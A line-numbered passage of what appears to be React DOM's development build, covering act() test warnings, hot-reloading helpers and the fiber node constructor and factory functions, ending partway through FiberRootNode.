27609 if (!isConcurrentActEnvironment()) {
27610 // Not in an act environment. No need to warn.
27611 return;
27612 }
27613 } else {
27614 // Legacy mode has additional cases where we suppress a warning.
27615 if (!isLegacyActEnvironment()) {
27616 // Not in an act environment. No need to warn.
27617 return;
27618 }
27619
27620 if (executionContext !== NoContext) {
27621 // Legacy mode doesn't warn if the update is batched, i.e.
27622 // batchedUpdates or flushSync.
27623 return;
27624 }
27625
27626 if (fiber.tag !== FunctionComponent && fiber.tag !== ForwardRef && fiber.tag !== SimpleMemoComponent) {
27627 // For backwards compatibility with pre-hooks code, legacy mode only
27628 // warns for updates that originate from a hook.
27629 return;
27630 }
27631 }
27632
27633 if (ReactCurrentActQueue$1.current === null) {
27634 var previousFiber = current;
27635
27636 try {
27637 setCurrentFiber(fiber);
27638
27639 error('An update to %s inside a test was not wrapped in act(...).\n\n' + 'When testing, code that causes React state updates should be ' + 'wrapped into act(...):\n\n' + 'act(() => {\n' + ' /* fire events that update state */\n' + '});\n' + '/* assert on the output */\n\n' + "This ensures that you're testing the behavior the user would see " + 'in the browser.' + ' Learn more at https://reactjs.org/link/wrap-tests-with-act', getComponentNameFromFiber(fiber));
27640 } finally {
27641 if (previousFiber) {
27642 setCurrentFiber(fiber);
27643 } else {
27644 resetCurrentFiber();
27645 }
27646 }
27647 }
27648 }
27649 }
27650
27651 function warnIfSuspenseResolutionNotWrappedWithActDEV(root) {
27652 {
27653 if (root.tag !== LegacyRoot && isConcurrentActEnvironment() && ReactCurrentActQueue$1.current === null) {
27654 error('A suspended resource finished loading inside a test, but the event ' + 'was not wrapped in act(...).\n\n' + 'When testing, code that resolves suspended data should be wrapped ' + 'into act(...):\n\n' + 'act(() => {\n' + ' /* finish loading suspended data */\n' + '});\n' + '/* assert on the output */\n\n' + "This ensures that you're testing the behavior the user would see " + 'in the browser.' + ' Learn more at https://reactjs.org/link/wrap-tests-with-act');
27655 }
27656 }
27657 }
27658
27659 function setIsRunningInsertionEffect(isRunning) {
27660 {
27661 isRunningInsertionEffect = isRunning;
27662 }
27663 }
27664
27665 /* eslint-disable react-internal/prod-error-codes */
27666 var resolveFamily = null; // $FlowFixMe Flow gets confused by a WeakSet feature check below.
27667
27668 var failedBoundaries = null;
27669 var setRefreshHandler = function (handler) {
27670 {
27671 resolveFamily = handler;
27672 }
27673 };
27674 function resolveFunctionForHotReloading(type) {
27675 {
27676 if (resolveFamily === null) {
27677 // Hot reloading is disabled.
27678 return type;
27679 }
27680
27681 var family = resolveFamily(type);
27682
27683 if (family === undefined) {
27684 return type;
27685 } // Use the latest known implementation.
27686
27687
27688 return family.current;
27689 }
27690 }
27691 function resolveClassForHotReloading(type) {
27692 // No implementation differences.
27693 return resolveFunctionForHotReloading(type);
27694 }
27695 function resolveForwardRefForHotReloading(type) {
27696 {
27697 if (resolveFamily === null) {
27698 // Hot reloading is disabled.
27699 return type;
27700 }
27701
27702 var family = resolveFamily(type);
27703
27704 if (family === undefined) {
27705 // Check if we're dealing with a real forwardRef. Don't want to crash early.
27706 if (type !== null && type !== undefined && typeof type.render === 'function') {
27707 // ForwardRef is special because its resolved .type is an object,
27708 // but it's possible that we only have its inner render function in the map.
27709 // If that inner render function is different, we'll build a new forwardRef type.
27710 var currentRender = resolveFunctionForHotReloading(type.render);
27711
27712 if (type.render !== currentRender) {
27713 var syntheticType = {
27714 $$typeof: REACT_FORWARD_REF_TYPE,
27715 render: currentRender
27716 };
27717
27718 if (type.displayName !== undefined) {
27719 syntheticType.displayName = type.displayName;
27720 }
27721
27722 return syntheticType;
27723 }
27724 }
27725
27726 return type;
27727 } // Use the latest known implementation.
27728
27729
27730 return family.current;
27731 }
27732 }
27733 function isCompatibleFamilyForHotReloading(fiber, element) {
27734 {
27735 if (resolveFamily === null) {
27736 // Hot reloading is disabled.
27737 return false;
27738 }
27739
27740 var prevType = fiber.elementType;
27741 var nextType = element.type; // If we got here, we know types aren't === equal.
27742
27743 var needsCompareFamilies = false;
27744 var $$typeofNextType = typeof nextType === 'object' && nextType !== null ? nextType.$$typeof : null;
27745
27746 switch (fiber.tag) {
27747 case ClassComponent:
27748 {
27749 if (typeof nextType === 'function') {
27750 needsCompareFamilies = true;
27751 }
27752
27753 break;
27754 }
27755
27756 case FunctionComponent:
27757 {
27758 if (typeof nextType === 'function') {
27759 needsCompareFamilies = true;
27760 } else if ($$typeofNextType === REACT_LAZY_TYPE) {
27761 // We don't know the inner type yet.
27762 // We're going to assume that the lazy inner type is stable,
27763 // and so it is sufficient to avoid reconciling it away.
27764 // We're not going to unwrap or actually use the new lazy type.
27765 needsCompareFamilies = true;
27766 }
27767
27768 break;
27769 }
27770
27771 case ForwardRef:
27772 {
27773 if ($$typeofNextType === REACT_FORWARD_REF_TYPE) {
27774 needsCompareFamilies = true;
27775 } else if ($$typeofNextType === REACT_LAZY_TYPE) {
27776 needsCompareFamilies = true;
27777 }
27778
27779 break;
27780 }
27781
27782 case MemoComponent:
27783 case SimpleMemoComponent:
27784 {
27785 if ($$typeofNextType === REACT_MEMO_TYPE) {
27786 // TODO: if it was but can no longer be simple,
27787 // we shouldn't set this.
27788 needsCompareFamilies = true;
27789 } else if ($$typeofNextType === REACT_LAZY_TYPE) {
27790 needsCompareFamilies = true;
27791 }
27792
27793 break;
27794 }
27795
27796 default:
27797 return false;
27798 } // Check if both types have a family and it's the same one.
27799
27800
27801 if (needsCompareFamilies) {
27802 // Note: memo() and forwardRef() we'll compare outer rather than inner type.
27803 // This means both of them need to be registered to preserve state.
27804 // If we unwrapped and compared the inner types for wrappers instead,
27805 // then we would risk falsely saying two separate memo(Foo)
27806 // calls are equivalent because they wrap the same Foo function.
27807 var prevFamily = resolveFamily(prevType);
27808
27809 if (prevFamily !== undefined && prevFamily === resolveFamily(nextType)) {
27810 return true;
27811 }
27812 }
27813
27814 return false;
27815 }
27816 }
27817 function markFailedErrorBoundaryForHotReloading(fiber) {
27818 {
27819 if (resolveFamily === null) {
27820 // Hot reloading is disabled.
27821 return;
27822 }
27823
27824 if (typeof WeakSet !== 'function') {
27825 return;
27826 }
27827
27828 if (failedBoundaries === null) {
27829 failedBoundaries = new WeakSet();
27830 }
27831
27832 failedBoundaries.add(fiber);
27833 }
27834 }
27835 var scheduleRefresh = function (root, update) {
27836 {
27837 if (resolveFamily === null) {
27838 // Hot reloading is disabled.
27839 return;
27840 }
27841
27842 var staleFamilies = update.staleFamilies,
27843 updatedFamilies = update.updatedFamilies;
27844 flushPassiveEffects();
27845 flushSync(function () {
27846 scheduleFibersWithFamiliesRecursively(root.current, updatedFamilies, staleFamilies);
27847 });
27848 }
27849 };
27850 var scheduleRoot = function (root, element) {
27851 {
27852 if (root.context !== emptyContextObject) {
27853 // Super edge case: root has a legacy _renderSubtree context
27854 // but we don't know the parentComponent so we can't pass it.
27855 // Just ignore. We'll delete this with _renderSubtree code path later.
27856 return;
27857 }
27858
27859 flushPassiveEffects();
27860 flushSync(function () {
27861 updateContainer(element, root, null, null);
27862 });
27863 }
27864 };
27865
27866 function scheduleFibersWithFamiliesRecursively(fiber, updatedFamilies, staleFamilies) {
27867 {
27868 var alternate = fiber.alternate,
27869 child = fiber.child,
27870 sibling = fiber.sibling,
27871 tag = fiber.tag,
27872 type = fiber.type;
27873 var candidateType = null;
27874
27875 switch (tag) {
27876 case FunctionComponent:
27877 case SimpleMemoComponent:
27878 case ClassComponent:
27879 candidateType = type;
27880 break;
27881
27882 case ForwardRef:
27883 candidateType = type.render;
27884 break;
27885 }
27886
27887 if (resolveFamily === null) {
27888 throw new Error('Expected resolveFamily to be set during hot reload.');
27889 }
27890
27891 var needsRender = false;
27892 var needsRemount = false;
27893
27894 if (candidateType !== null) {
27895 var family = resolveFamily(candidateType);
27896
27897 if (family !== undefined) {
27898 if (staleFamilies.has(family)) {
27899 needsRemount = true;
27900 } else if (updatedFamilies.has(family)) {
27901 if (tag === ClassComponent) {
27902 needsRemount = true;
27903 } else {
27904 needsRender = true;
27905 }
27906 }
27907 }
27908 }
27909
27910 if (failedBoundaries !== null) {
27911 if (failedBoundaries.has(fiber) || alternate !== null && failedBoundaries.has(alternate)) {
27912 needsRemount = true;
27913 }
27914 }
27915
27916 if (needsRemount) {
27917 fiber._debugNeedsRemount = true;
27918 }
27919
27920 if (needsRemount || needsRender) {
27921 var _root = enqueueConcurrentRenderForLane(fiber, SyncLane);
27922
27923 if (_root !== null) {
27924 scheduleUpdateOnFiber(_root, fiber, SyncLane, NoTimestamp);
27925 }
27926 }
27927
27928 if (child !== null && !needsRemount) {
27929 scheduleFibersWithFamiliesRecursively(child, updatedFamilies, staleFamilies);
27930 }
27931
27932 if (sibling !== null) {
27933 scheduleFibersWithFamiliesRecursively(sibling, updatedFamilies, staleFamilies);
27934 }
27935 }
27936 }
27937
27938 var findHostInstancesForRefresh = function (root, families) {
27939 {
27940 var hostInstances = new Set();
27941 var types = new Set(families.map(function (family) {
27942 return family.current;
27943 }));
27944 findHostInstancesForMatchingFibersRecursively(root.current, types, hostInstances);
27945 return hostInstances;
27946 }
27947 };
27948
27949 function findHostInstancesForMatchingFibersRecursively(fiber, types, hostInstances) {
27950 {
27951 var child = fiber.child,
27952 sibling = fiber.sibling,
27953 tag = fiber.tag,
27954 type = fiber.type;
27955 var candidateType = null;
27956
27957 switch (tag) {
27958 case FunctionComponent:
27959 case SimpleMemoComponent:
27960 case ClassComponent:
27961 candidateType = type;
27962 break;
27963
27964 case ForwardRef:
27965 candidateType = type.render;
27966 break;
27967 }
27968
27969 var didMatch = false;
27970
27971 if (candidateType !== null) {
27972 if (types.has(candidateType)) {
27973 didMatch = true;
27974 }
27975 }
27976
27977 if (didMatch) {
27978 // We have a match. This only drills down to the closest host components.
27979 // There's no need to search deeper because for the purpose of giving
27980 // visual feedback, "flashing" outermost parent rectangles is sufficient.
27981 findHostInstancesForFiberShallowly(fiber, hostInstances);
27982 } else {
27983 // If there's no match, maybe there will be one further down in the child tree.
27984 if (child !== null) {
27985 findHostInstancesForMatchingFibersRecursively(child, types, hostInstances);
27986 }
27987 }
27988
27989 if (sibling !== null) {
27990 findHostInstancesForMatchingFibersRecursively(sibling, types, hostInstances);
27991 }
27992 }
27993 }
27994
27995 function findHostInstancesForFiberShallowly(fiber, hostInstances) {
27996 {
27997 var foundHostInstances = findChildHostInstancesForFiberShallowly(fiber, hostInstances);
27998
27999 if (foundHostInstances) {
28000 return;
28001 } // If we didn't find any host children, fallback to closest host parent.
28002
28003
28004 var node = fiber;
28005
28006 while (true) {
28007 switch (node.tag) {
28008 case HostComponent:
28009 hostInstances.add(node.stateNode);
28010 return;
28011
28012 case HostPortal:
28013 hostInstances.add(node.stateNode.containerInfo);
28014 return;
28015
28016 case HostRoot:
28017 hostInstances.add(node.stateNode.containerInfo);
28018 return;
28019 }
28020
28021 if (node.return === null) {
28022 throw new Error('Expected to reach root first.');
28023 }
28024
28025 node = node.return;
28026 }
28027 }
28028 }
28029
28030 function findChildHostInstancesForFiberShallowly(fiber, hostInstances) {
28031 {
28032 var node = fiber;
28033 var foundHostInstances = false;
28034
28035 while (true) {
28036 if (node.tag === HostComponent) {
28037 // We got a match.
28038 foundHostInstances = true;
28039 hostInstances.add(node.stateNode); // There may still be more, so keep searching.
28040 } else if (node.child !== null) {
28041 node.child.return = node;
28042 node = node.child;
28043 continue;
28044 }
28045
28046 if (node === fiber) {
28047 return foundHostInstances;
28048 }
28049
28050 while (node.sibling === null) {
28051 if (node.return === null || node.return === fiber) {
28052 return foundHostInstances;
28053 }
28054
28055 node = node.return;
28056 }
28057
28058 node.sibling.return = node.return;
28059 node = node.sibling;
28060 }
28061 }
28062
28063 return false;
28064 }
28065
28066 var hasBadMapPolyfill;
28067
28068 {
28069 hasBadMapPolyfill = false;
28070
28071 try {
28072 var nonExtensibleObject = Object.preventExtensions({});
28073 /* eslint-disable no-new */
28074
28075 new Map([[nonExtensibleObject, null]]);
28076 new Set([nonExtensibleObject]);
28077 /* eslint-enable no-new */
28078 } catch (e) {
28079 // TODO: Consider warning about bad polyfills
28080 hasBadMapPolyfill = true;
28081 }
28082 }
28083
28084 function FiberNode(tag, pendingProps, key, mode) {
28085 // Instance
28086 this.tag = tag;
28087 this.key = key;
28088 this.elementType = null;
28089 this.type = null;
28090 this.stateNode = null; // Fiber
28091
28092 this.return = null;
28093 this.child = null;
28094 this.sibling = null;
28095 this.index = 0;
28096 this.ref = null;
28097 this.pendingProps = pendingProps;
28098 this.memoizedProps = null;
28099 this.updateQueue = null;
28100 this.memoizedState = null;
28101 this.dependencies = null;
28102 this.mode = mode; // Effects
28103
28104 this.flags = NoFlags;
28105 this.subtreeFlags = NoFlags;
28106 this.deletions = null;
28107 this.lanes = NoLanes;
28108 this.childLanes = NoLanes;
28109 this.alternate = null;
28110
28111 {
28112 // Note: The following is done to avoid a v8 performance cliff.
28113 //
28114 // Initializing the fields below to smis and later updating them with
28115 // double values will cause Fibers to end up having separate shapes.
28116 // This behavior/bug has something to do with Object.preventExtension().
28117 // Fortunately this only impacts DEV builds.
28118 // Unfortunately it makes React unusably slow for some applications.
28119 // To work around this, initialize the fields below with doubles.
28120 //
28121 // Learn more about this here:
28122 // https://github.com/facebook/react/issues/14365
28123 // https://bugs.chromium.org/p/v8/issues/detail?id=8538
28124 this.actualDuration = Number.NaN;
28125 this.actualStartTime = Number.NaN;
28126 this.selfBaseDuration = Number.NaN;
28127 this.treeBaseDuration = Number.NaN; // It's okay to replace the initial doubles with smis after initialization.
28128 // This won't trigger the performance cliff mentioned above,
28129 // and it simplifies other profiler code (including DevTools).
28130
28131 this.actualDuration = 0;
28132 this.actualStartTime = -1;
28133 this.selfBaseDuration = 0;
28134 this.treeBaseDuration = 0;
28135 }
28136
28137 {
28138 // This isn't directly used but is handy for debugging internals:
28139 this._debugSource = null;
28140 this._debugOwner = null;
28141 this._debugNeedsRemount = false;
28142 this._debugHookTypes = null;
28143
28144 if (!hasBadMapPolyfill && typeof Object.preventExtensions === 'function') {
28145 Object.preventExtensions(this);
28146 }
28147 }
28148 } // This is a constructor function, rather than a POJO constructor, still
28149 // please ensure we do the following:
28150 // 1) Nobody should add any instance methods on this. Instance methods can be
28151 // more difficult to predict when they get optimized and they are almost
28152 // never inlined properly in static compilers.
28153 // 2) Nobody should rely on `instanceof Fiber` for type testing. We should
28154 // always know when it is a fiber.
28155 // 3) We might want to experiment with using numeric keys since they are easier
28156 // to optimize in a non-JIT environment.
28157 // 4) We can easily go from a constructor to a createFiber object literal if that
28158 // is faster.
28159 // 5) It should be easy to port this to a C struct and keep a C implementation
28160 // compatible.
28161
28162
28163 var createFiber = function (tag, pendingProps, key, mode) {
28164 // $FlowFixMe: the shapes are exact here but Flow doesn't like constructors
28165 return new FiberNode(tag, pendingProps, key, mode);
28166 };
28167
28168 function shouldConstruct$1(Component) {
28169 var prototype = Component.prototype;
28170 return !!(prototype && prototype.isReactComponent);
28171 }
28172
28173 function isSimpleFunctionComponent(type) {
28174 return typeof type === 'function' && !shouldConstruct$1(type) && type.defaultProps === undefined;
28175 }
28176 function resolveLazyComponentTag(Component) {
28177 if (typeof Component === 'function') {
28178 return shouldConstruct$1(Component) ? ClassComponent : FunctionComponent;
28179 } else if (Component !== undefined && Component !== null) {
28180 var $$typeof = Component.$$typeof;
28181
28182 if ($$typeof === REACT_FORWARD_REF_TYPE) {
28183 return ForwardRef;
28184 }
28185
28186 if ($$typeof === REACT_MEMO_TYPE) {
28187 return MemoComponent;
28188 }
28189 }
28190
28191 return IndeterminateComponent;
28192 } // This is used to create an alternate fiber to do work on.
28193
28194 function createWorkInProgress(current, pendingProps) {
28195 var workInProgress = current.alternate;
28196
28197 if (workInProgress === null) {
28198 // We use a double buffering pooling technique because we know that we'll
28199 // only ever need at most two versions of a tree. We pool the "other" unused
28200 // node that we're free to reuse. This is lazily created to avoid allocating
28201 // extra objects for things that are never updated. It also allow us to
28202 // reclaim the extra memory if needed.
28203 workInProgress = createFiber(current.tag, pendingProps, current.key, current.mode);
28204 workInProgress.elementType = current.elementType;
28205 workInProgress.type = current.type;
28206 workInProgress.stateNode = current.stateNode;
28207
28208 {
28209 // DEV-only fields
28210 workInProgress._debugSource = current._debugSource;
28211 workInProgress._debugOwner = current._debugOwner;
28212 workInProgress._debugHookTypes = current._debugHookTypes;
28213 }
28214
28215 workInProgress.alternate = current;
28216 current.alternate = workInProgress;
28217 } else {
28218 workInProgress.pendingProps = pendingProps; // Needed because Blocks store data on type.
28219
28220 workInProgress.type = current.type; // We already have an alternate.
28221 // Reset the effect tag.
28222
28223 workInProgress.flags = NoFlags; // The effects are no longer valid.
28224
28225 workInProgress.subtreeFlags = NoFlags;
28226 workInProgress.deletions = null;
28227
28228 {
28229 // We intentionally reset, rather than copy, actualDuration & actualStartTime.
28230 // This prevents time from endlessly accumulating in new commits.
28231 // This has the downside of resetting values for different priority renders,
28232 // But works for yielding (the common case) and should support resuming.
28233 workInProgress.actualDuration = 0;
28234 workInProgress.actualStartTime = -1;
28235 }
28236 } // Reset all effects except static ones.
28237 // Static effects are not specific to a render.
28238
28239
28240 workInProgress.flags = current.flags & StaticMask;
28241 workInProgress.childLanes = current.childLanes;
28242 workInProgress.lanes = current.lanes;
28243 workInProgress.child = current.child;
28244 workInProgress.memoizedProps = current.memoizedProps;
28245 workInProgress.memoizedState = current.memoizedState;
28246 workInProgress.updateQueue = current.updateQueue; // Clone the dependencies object. This is mutated during the render phase, so
28247 // it cannot be shared with the current fiber.
28248
28249 var currentDependencies = current.dependencies;
28250 workInProgress.dependencies = currentDependencies === null ? null : {
28251 lanes: currentDependencies.lanes,
28252 firstContext: currentDependencies.firstContext
28253 }; // These will be overridden during the parent's reconciliation
28254
28255 workInProgress.sibling = current.sibling;
28256 workInProgress.index = current.index;
28257 workInProgress.ref = current.ref;
28258
28259 {
28260 workInProgress.selfBaseDuration = current.selfBaseDuration;
28261 workInProgress.treeBaseDuration = current.treeBaseDuration;
28262 }
28263
28264 {
28265 workInProgress._debugNeedsRemount = current._debugNeedsRemount;
28266
28267 switch (workInProgress.tag) {
28268 case IndeterminateComponent:
28269 case FunctionComponent:
28270 case SimpleMemoComponent:
28271 workInProgress.type = resolveFunctionForHotReloading(current.type);
28272 break;
28273
28274 case ClassComponent:
28275 workInProgress.type = resolveClassForHotReloading(current.type);
28276 break;
28277
28278 case ForwardRef:
28279 workInProgress.type = resolveForwardRefForHotReloading(current.type);
28280 break;
28281 }
28282 }
28283
28284 return workInProgress;
28285 } // Used to reuse a Fiber for a second pass.
28286
28287 function resetWorkInProgress(workInProgress, renderLanes) {
28288 // This resets the Fiber to what createFiber or createWorkInProgress would
28289 // have set the values to before during the first pass. Ideally this wouldn't
28290 // be necessary but unfortunately many code paths reads from the workInProgress
28291 // when they should be reading from current and writing to workInProgress.
28292 // We assume pendingProps, index, key, ref, return are still untouched to
28293 // avoid doing another reconciliation.
28294 // Reset the effect flags but keep any Placement tags, since that's something
28295 // that child fiber is setting, not the reconciliation.
28296 workInProgress.flags &= StaticMask | Placement; // The effects are no longer valid.
28297
28298 var current = workInProgress.alternate;
28299
28300 if (current === null) {
28301 // Reset to createFiber's initial values.
28302 workInProgress.childLanes = NoLanes;
28303 workInProgress.lanes = renderLanes;
28304 workInProgress.child = null;
28305 workInProgress.subtreeFlags = NoFlags;
28306 workInProgress.memoizedProps = null;
28307 workInProgress.memoizedState = null;
28308 workInProgress.updateQueue = null;
28309 workInProgress.dependencies = null;
28310 workInProgress.stateNode = null;
28311
28312 {
28313 // Note: We don't reset the actualTime counts. It's useful to accumulate
28314 // actual time across multiple render passes.
28315 workInProgress.selfBaseDuration = 0;
28316 workInProgress.treeBaseDuration = 0;
28317 }
28318 } else {
28319 // Reset to the cloned values that createWorkInProgress would've.
28320 workInProgress.childLanes = current.childLanes;
28321 workInProgress.lanes = current.lanes;
28322 workInProgress.child = current.child;
28323 workInProgress.subtreeFlags = NoFlags;
28324 workInProgress.deletions = null;
28325 workInProgress.memoizedProps = current.memoizedProps;
28326 workInProgress.memoizedState = current.memoizedState;
28327 workInProgress.updateQueue = current.updateQueue; // Needed because Blocks store data on type.
28328
28329 workInProgress.type = current.type; // Clone the dependencies object. This is mutated during the render phase, so
28330 // it cannot be shared with the current fiber.
28331
28332 var currentDependencies = current.dependencies;
28333 workInProgress.dependencies = currentDependencies === null ? null : {
28334 lanes: currentDependencies.lanes,
28335 firstContext: currentDependencies.firstContext
28336 };
28337
28338 {
28339 // Note: We don't reset the actualTime counts. It's useful to accumulate
28340 // actual time across multiple render passes.
28341 workInProgress.selfBaseDuration = current.selfBaseDuration;
28342 workInProgress.treeBaseDuration = current.treeBaseDuration;
28343 }
28344 }
28345
28346 return workInProgress;
28347 }
28348 function createHostRootFiber(tag, isStrictMode, concurrentUpdatesByDefaultOverride) {
28349 var mode;
28350
28351 if (tag === ConcurrentRoot) {
28352 mode = ConcurrentMode;
28353
28354 if (isStrictMode === true) {
28355 mode |= StrictLegacyMode;
28356
28357 {
28358 mode |= StrictEffectsMode;
28359 }
28360 }
28361 } else {
28362 mode = NoMode;
28363 }
28364
28365 if ( isDevToolsPresent) {
28366 // Always collect profile timings when DevTools are present.
28367 // This enables DevTools to start capturing timing at any point–
28368 // Without some nodes in the tree having empty base times.
28369 mode |= ProfileMode;
28370 }
28371
28372 return createFiber(HostRoot, null, null, mode);
28373 }
28374 function createFiberFromTypeAndProps(type, // React$ElementType
28375 key, pendingProps, owner, mode, lanes) {
28376 var fiberTag = IndeterminateComponent; // The resolved type is set if we know what the final type will be. I.e. it's not lazy.
28377
28378 var resolvedType = type;
28379
28380 if (typeof type === 'function') {
28381 if (shouldConstruct$1(type)) {
28382 fiberTag = ClassComponent;
28383
28384 {
28385 resolvedType = resolveClassForHotReloading(resolvedType);
28386 }
28387 } else {
28388 {
28389 resolvedType = resolveFunctionForHotReloading(resolvedType);
28390 }
28391 }
28392 } else if (typeof type === 'string') {
28393 fiberTag = HostComponent;
28394 } else {
28395 getTag: switch (type) {
28396 case REACT_FRAGMENT_TYPE:
28397 return createFiberFromFragment(pendingProps.children, mode, lanes, key);
28398
28399 case REACT_STRICT_MODE_TYPE:
28400 fiberTag = Mode;
28401 mode |= StrictLegacyMode;
28402
28403 if ( (mode & ConcurrentMode) !== NoMode) {
28404 // Strict effects should never run on legacy roots
28405 mode |= StrictEffectsMode;
28406 }
28407
28408 break;
28409
28410 case REACT_PROFILER_TYPE:
28411 return createFiberFromProfiler(pendingProps, mode, lanes, key);
28412
28413 case REACT_SUSPENSE_TYPE:
28414 return createFiberFromSuspense(pendingProps, mode, lanes, key);
28415
28416 case REACT_SUSPENSE_LIST_TYPE:
28417 return createFiberFromSuspenseList(pendingProps, mode, lanes, key);
28418
28419 case REACT_OFFSCREEN_TYPE:
28420 return createFiberFromOffscreen(pendingProps, mode, lanes, key);
28421
28422 case REACT_LEGACY_HIDDEN_TYPE:
28423
28424 // eslint-disable-next-line no-fallthrough
28425
28426 case REACT_SCOPE_TYPE:
28427
28428 // eslint-disable-next-line no-fallthrough
28429
28430 case REACT_CACHE_TYPE:
28431
28432 // eslint-disable-next-line no-fallthrough
28433
28434 case REACT_TRACING_MARKER_TYPE:
28435
28436 // eslint-disable-next-line no-fallthrough
28437
28438 case REACT_DEBUG_TRACING_MODE_TYPE:
28439
28440 // eslint-disable-next-line no-fallthrough
28441
28442 default:
28443 {
28444 if (typeof type === 'object' && type !== null) {
28445 switch (type.$$typeof) {
28446 case REACT_PROVIDER_TYPE:
28447 fiberTag = ContextProvider;
28448 break getTag;
28449
28450 case REACT_CONTEXT_TYPE:
28451 // This is a consumer
28452 fiberTag = ContextConsumer;
28453 break getTag;
28454
28455 case REACT_FORWARD_REF_TYPE:
28456 fiberTag = ForwardRef;
28457
28458 {
28459 resolvedType = resolveForwardRefForHotReloading(resolvedType);
28460 }
28461
28462 break getTag;
28463
28464 case REACT_MEMO_TYPE:
28465 fiberTag = MemoComponent;
28466 break getTag;
28467
28468 case REACT_LAZY_TYPE:
28469 fiberTag = LazyComponent;
28470 resolvedType = null;
28471 break getTag;
28472 }
28473 }
28474
28475 var info = '';
28476
28477 {
28478 if (type === undefined || typeof type === 'object' && type !== null && Object.keys(type).length === 0) {
28479 info += ' You likely forgot to export your component from the file ' + "it's defined in, or you might have mixed up default and " + 'named imports.';
28480 }
28481
28482 var ownerName = owner ? getComponentNameFromFiber(owner) : null;
28483
28484 if (ownerName) {
28485 info += '\n\nCheck the render method of `' + ownerName + '`.';
28486 }
28487 }
28488
28489 throw new Error('Element type is invalid: expected a string (for built-in ' + 'components) or a class/function (for composite components) ' + ("but got: " + (type == null ? type : typeof type) + "." + info));
28490 }
28491 }
28492 }
28493
28494 var fiber = createFiber(fiberTag, pendingProps, key, mode);
28495 fiber.elementType = type;
28496 fiber.type = resolvedType;
28497 fiber.lanes = lanes;
28498
28499 {
28500 fiber._debugOwner = owner;
28501 }
28502
28503 return fiber;
28504 }
28505 function createFiberFromElement(element, mode, lanes) {
28506 var owner = null;
28507
28508 {
28509 owner = element._owner;
28510 }
28511
28512 var type = element.type;
28513 var key = element.key;
28514 var pendingProps = element.props;
28515 var fiber = createFiberFromTypeAndProps(type, key, pendingProps, owner, mode, lanes);
28516
28517 {
28518 fiber._debugSource = element._source;
28519 fiber._debugOwner = element._owner;
28520 }
28521
28522 return fiber;
28523 }
28524 function createFiberFromFragment(elements, mode, lanes, key) {
28525 var fiber = createFiber(Fragment, elements, key, mode);
28526 fiber.lanes = lanes;
28527 return fiber;
28528 }
28529
28530 function createFiberFromProfiler(pendingProps, mode, lanes, key) {
28531 {
28532 if (typeof pendingProps.id !== 'string') {
28533 error('Profiler must specify an "id" of type `string` as a prop. Received the type `%s` instead.', typeof pendingProps.id);
28534 }
28535 }
28536
28537 var fiber = createFiber(Profiler, pendingProps, key, mode | ProfileMode);
28538 fiber.elementType = REACT_PROFILER_TYPE;
28539 fiber.lanes = lanes;
28540
28541 {
28542 fiber.stateNode = {
28543 effectDuration: 0,
28544 passiveEffectDuration: 0
28545 };
28546 }
28547
28548 return fiber;
28549 }
28550
28551 function createFiberFromSuspense(pendingProps, mode, lanes, key) {
28552 var fiber = createFiber(SuspenseComponent, pendingProps, key, mode);
28553 fiber.elementType = REACT_SUSPENSE_TYPE;
28554 fiber.lanes = lanes;
28555 return fiber;
28556 }
28557 function createFiberFromSuspenseList(pendingProps, mode, lanes, key) {
28558 var fiber = createFiber(SuspenseListComponent, pendingProps, key, mode);
28559 fiber.elementType = REACT_SUSPENSE_LIST_TYPE;
28560 fiber.lanes = lanes;
28561 return fiber;
28562 }
28563 function createFiberFromOffscreen(pendingProps, mode, lanes, key) {
28564 var fiber = createFiber(OffscreenComponent, pendingProps, key, mode);
28565 fiber.elementType = REACT_OFFSCREEN_TYPE;
28566 fiber.lanes = lanes;
28567 var primaryChildInstance = {
28568 isHidden: false
28569 };
28570 fiber.stateNode = primaryChildInstance;
28571 return fiber;
28572 }
28573 function createFiberFromText(content, mode, lanes) {
28574 var fiber = createFiber(HostText, content, null, mode);
28575 fiber.lanes = lanes;
28576 return fiber;
28577 }
28578 function createFiberFromHostInstanceForDeletion() {
28579 var fiber = createFiber(HostComponent, null, null, NoMode);
28580 fiber.elementType = 'DELETED';
28581 return fiber;
28582 }
28583 function createFiberFromDehydratedFragment(dehydratedNode) {
28584 var fiber = createFiber(DehydratedFragment, null, null, NoMode);
28585 fiber.stateNode = dehydratedNode;
28586 return fiber;
28587 }
28588 function createFiberFromPortal(portal, mode, lanes) {
28589 var pendingProps = portal.children !== null ? portal.children : [];
28590 var fiber = createFiber(HostPortal, pendingProps, portal.key, mode);
28591 fiber.lanes = lanes;
28592 fiber.stateNode = {
28593 containerInfo: portal.containerInfo,
28594 pendingChildren: null,
28595 // Used by persistent updates
28596 implementation: portal.implementation
28597 };
28598 return fiber;
28599 } // Used for stashing WIP properties to replay failed work in DEV.
28600
28601 function assignFiberPropertiesInDEV(target, source) {
28602 if (target === null) {
28603 // This Fiber's initial properties will always be overwritten.
28604 // We only use a Fiber to ensure the same hidden class so DEV isn't slow.
28605 target = createFiber(IndeterminateComponent, null, null, NoMode);
28606 } // This is intentionally written as a list of all properties.
28607 // We tried to use Object.assign() instead but this is called in
28608 // the hottest path, and Object.assign() was too slow:
28609 // https://github.com/facebook/react/issues/12502
28610 // This code is DEV-only so size is not a concern.
28611
28612
28613 target.tag = source.tag;
28614 target.key = source.key;
28615 target.elementType = source.elementType;
28616 target.type = source.type;
28617 target.stateNode = source.stateNode;
28618 target.return = source.return;
28619 target.child = source.child;
28620 target.sibling = source.sibling;
28621 target.index = source.index;
28622 target.ref = source.ref;
28623 target.pendingProps = source.pendingProps;
28624 target.memoizedProps = source.memoizedProps;
28625 target.updateQueue = source.updateQueue;
28626 target.memoizedState = source.memoizedState;
28627 target.dependencies = source.dependencies;
28628 target.mode = source.mode;
28629 target.flags = source.flags;
28630 target.subtreeFlags = source.subtreeFlags;
28631 target.deletions = source.deletions;
28632 target.lanes = source.lanes;
28633 target.childLanes = source.childLanes;
28634 target.alternate = source.alternate;
28635
28636 {
28637 target.actualDuration = source.actualDuration;
28638 target.actualStartTime = source.actualStartTime;
28639 target.selfBaseDuration = source.selfBaseDuration;
28640 target.treeBaseDuration = source.treeBaseDuration;
28641 }
28642
28643 target._debugSource = source._debugSource;
28644 target._debugOwner = source._debugOwner;
28645 target._debugNeedsRemount = source._debugNeedsRemount;
28646 target._debugHookTypes = source._debugHookTypes;
28647 return target;
28648 }
28649
28650 function FiberRootNode(containerInfo, tag, hydrate, identifierPrefix, onRecoverableError) {
28651 this.tag = tag;
28652 this.containerInfo = containerInfo;
28653 this.pendingChildren = null;
28654 this.current = null;
28655 this.pingCache = null;
